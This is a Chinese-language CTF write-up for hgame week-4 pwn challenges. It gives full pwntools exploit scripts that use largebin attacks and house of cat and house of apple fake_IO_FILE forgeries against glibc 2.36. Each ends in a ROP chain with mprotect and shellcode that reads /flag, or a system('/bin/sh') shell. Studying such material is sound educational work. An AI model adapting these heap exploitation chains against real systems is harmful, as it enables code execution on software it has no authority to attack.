hgame-week4-pwn

without_hook

libc给的是2.36-0ubuntu2_amd64,以前修改__free_hook__malloc_hook的方法就行不通了,很容易想到使用largebin attack攻击去劫持IO控制流,最后构造house of cat或者house of apple的fake_IO_FILE,和以前我做过强网拟态的一道题很像。

唯一有区别的就是以前常用的mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]这个gadget似乎在该版本的libc中找不到了

这里我改用mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 0x18]这个gadget,使用house of apple去实现setcontext函数对rsp的劫持。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import*
elf = ELF('vuln')
#libc = elf.libc
libc = ELF('libc.so.6')
#p = process('./vuln')
p = remote('week-4.hgame.lwsec.cn', 32393)
context.log_level = 'debug'
context.arch = 'amd64'

def add(index,size):
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'Index:', str(index).encode())
p.sendlineafter(b'Size:', str(size).encode())
def delete(index):
p.sendlineafter(b'>', b'2')
p.sendlineafter(b'Index:', str(index).encode())
def edit(index,content):
p.sendlineafter(b'>', b'3')
p.sendlineafter(b'Index:', str(index).encode())
p.sendafter(b'Content:', content)
def show(index):
p.sendlineafter(b'>', b'4')
p.sendlineafter(b'Index:', str(index).encode())

add(0, 0x510)
add(1, 0x500)
add(2, 0x500)
delete(0)
add(3, 0x520)
show(0)
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
libcbase = leak - 2060528
IO_list_all = libcbase + libc.sym['_IO_list_all']
IO_wfile_jumps = libcbase + libc.sym['_IO_wfile_jumps']
setcontext = libcbase + libc.sym['setcontext']
mprotect = libcbase + libc.sym['mprotect']
pop_rdx_rbx = libcbase + 0x8bbb9
pop_rdi = libcbase + 0x23ba5
pop_rsi = libcbase + 0x251fe
ret = pop_rdi + 1
gadget1 = libcbase + 0x164850 #mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 0x18]
gadget2 = libcbase + 0x10ba6f #mov rdx, qword ptr [rax + 0x38] ; call qword ptr [rax + 0x10]


edit(0, b'a' * 0x10)
show(0)
p.recvuntil(b'a' * 0x10)
heap_addr = u64(p.recvuntil(b'\n', drop=True).ljust(8, b'\x00')) - 0x290
edit(0, p64(0) * 3 + p64(IO_list_all - 0x20))
delete(2)
add(4, 0x520)

fake_addr = heap_addr + 0xcc0
fake_IO_FILE = p64(0) * 3 + p64(1)
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_addr)
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE += p64(fake_addr + 0xe0)
fake_IO_FILE = fake_IO_FILE.ljust(0xc8, b'\x00')
fake_IO_FILE += p64(IO_wfile_jumps)
fake_IO_FILE += p64(0) * 2 + p64(setcontext + 61)
fake_IO_FILE += p64(0) * 4 + p64(fake_addr + 0xe0)
fake_IO_FILE += b'\x00' * 0x28
fake_IO_FILE += p64(gadget2)
fake_IO_FILE += b'\x00' * 0x30
fake_IO_FILE += p64(fake_addr + 0x200)
fake_IO_FILE += p64(ret)
fake_IO_FILE = fake_IO_FILE.ljust(0x1b0, b'\x00')
fake_IO_FILE += p64(fake_addr + 0xe0)
payload = fake_IO_FILE.ljust(0x1f0, b'\x00')

payload += flat(
p64(pop_rdi), p64(heap_addr),
p64(pop_rsi), p64(0x1000),
p64(pop_rdx_rbx), p64(7), p64(0),
p64(mprotect),
p64(fake_addr + 0x248)
)
payload += asm(shellcraft.cat('/flag'))
edit(2, payload)
#gdb.attach(p)
#pause()
p.sendlineafter(b'>', b'5')
#pause()
p.interactive()

4nswer’s gift

这道题白给了libc的地址,并且直接让你去劫持IO控制流;虽然没有给堆地址,题目给了提示Linux内核版本为5.15,当申请堆块足够大时就会直接返回一块在libc上边的内存,且偏移固定,这样我们就能直接利用house of cat或者house of apple完成攻击。

house of cat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import*
elf = ELF('vuln')
libc = elf.libc
#p = process('./vuln')
p = remote('week-4.hgame.lwsec.cn',30252)
context.log_level = 'debug'
context.arch = 'amd64'

p.recvuntil(b'0x')
IO_list_all = int(p.recv(12), 16)
libcbase = IO_list_all - libc.sym['_IO_list_all']
IO_wfile_jumps = libcbase + libc.sym['_IO_wfile_jumps']
sys_addr = libcbase + libc.sym['system']

p.sendlineafter(b'gift?', str(0x22000).encode())

fake_addr = libcbase - 0x26000 + 0x10
#fake_addr = libcbase + 3080192 + 0x10
fake_IO_FILE = b'/bin/sh\x00'
fake_IO_FILE += p64(0) * 4 + p64(1) + p64(0) * 2 + p64(1)
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(fake_addr + 0x400)
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE += p64(fake_addr + 0xe0)
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(IO_wfile_jumps + 0x30)
fake_IO_FILE += p64(1) + p64(0) * 3
fake_IO_FILE += p64(1)
fake_IO_FILE = fake_IO_FILE.ljust(0x1c0, b'\x00')
fake_IO_FILE += p64(fake_addr + 0x1c0)
fake_IO_FILE += p64(0) * 2 + p64(sys_addr)

p.sendafter(b'gitf?', fake_IO_FILE)
#pause()

p.interactive()

house of apple

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import*
elf = ELF('vuln')
libc = elf.libc
#p = process('./vuln')
p = remote('week-4.hgame.lwsec.cn', 30252)
#context.log_level = 'debug'
context.arch = 'amd64'

p.recvuntil(b'0x')
IO_list_all = int(p.recv(12), 16)
libcbase = IO_list_all - libc.sym['_IO_list_all']
IO_wfile_jumps = libcbase + libc.sym['_IO_wfile_jumps']
setcontext = libcbase + libc.sym['setcontext']
mprotect = libcbase + libc.sym['mprotect']
pop_rdx_rbx = libcbase + 0x8bbb9
pop_rdi = libcbase + 0x23ba5
pop_rsi = libcbase + 0x251fe
ret = pop_rdi + 1
gadget1 = libcbase + 0x164850 #mov rax, qword ptr [rdi + 8] ; call qword ptr [rax + 0x18]
gadget2 = libcbase + 0x10ba6f #mov rdx, qword ptr [rax + 0x38] ; call qword ptr [rax + 0x10]

p.sendlineafter(b'gift?', str(0x22000).encode())

fake_addr = libcbase - 0x26000 + 0x10 #0x290000 0x380000
#fake_addr = libcbase + 3080192 + 0x10
fake_IO_FILE = p64(0) * 5 + p64(1)
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(fake_addr)
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE += p64(fake_addr + 0xe0)
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(IO_wfile_jumps)
fake_IO_FILE += p64(0) * 2 + p64(setcontext + 61)
fake_IO_FILE += p64(0) * 4 + p64(fake_addr + 0xe0)
fake_IO_FILE += b'\x00' * 0x28
fake_IO_FILE += p64(gadget2)
fake_IO_FILE += b'\x00' * 0x30
fake_IO_FILE += p64(fake_addr + 0x200)
fake_IO_FILE += p64(ret)
fake_IO_FILE = fake_IO_FILE.ljust(0x1c0, b'\x00')
fake_IO_FILE += p64(fake_addr + 0xe0)
payload = fake_IO_FILE.ljust(0x200, b'\x00')

payload += flat(
p64(pop_rdi), p64(fake_addr - 0x10),
p64(pop_rsi), p64(0x1000),
p64(pop_rdx_rbx), p64(7), p64(0),
p64(mprotect),
p64(fake_addr + 0x248)
)
payload += asm(shellcraft.cat('/flag'))
#print(hex(libcbase))
#gdb.attach(p)
#pause()
p.sendafter(b'gitf?', payload)
p.interactive()

hgame-week4-pwn
https://xtxtn.github.io/2023/02/07/hgame-week4-pwn/
作者
xtxtn
发布于
2023年2月7日
更新于
2023年2月8日
许可协议